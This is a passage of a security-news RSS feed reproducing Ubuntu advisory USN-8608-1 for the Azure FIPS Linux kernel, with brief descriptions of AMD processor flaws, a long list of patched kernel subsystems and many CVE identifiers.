CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859,
CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878,
CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882,
CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895,
CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905,
CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913,
CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923,
CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936,
CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954,
CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973,
CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981,
CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004,
CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022,
CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119,
CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246,
CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251,
CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259,
CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286,
CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306,
CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8608-1: Linux kernel (Azure FIPS) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691496/unix-server/usn-8608-1-linux-kernel-azure-fips-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691496/unix-server/usn-8608-1-linux-kernel-azure-fips-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:38 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
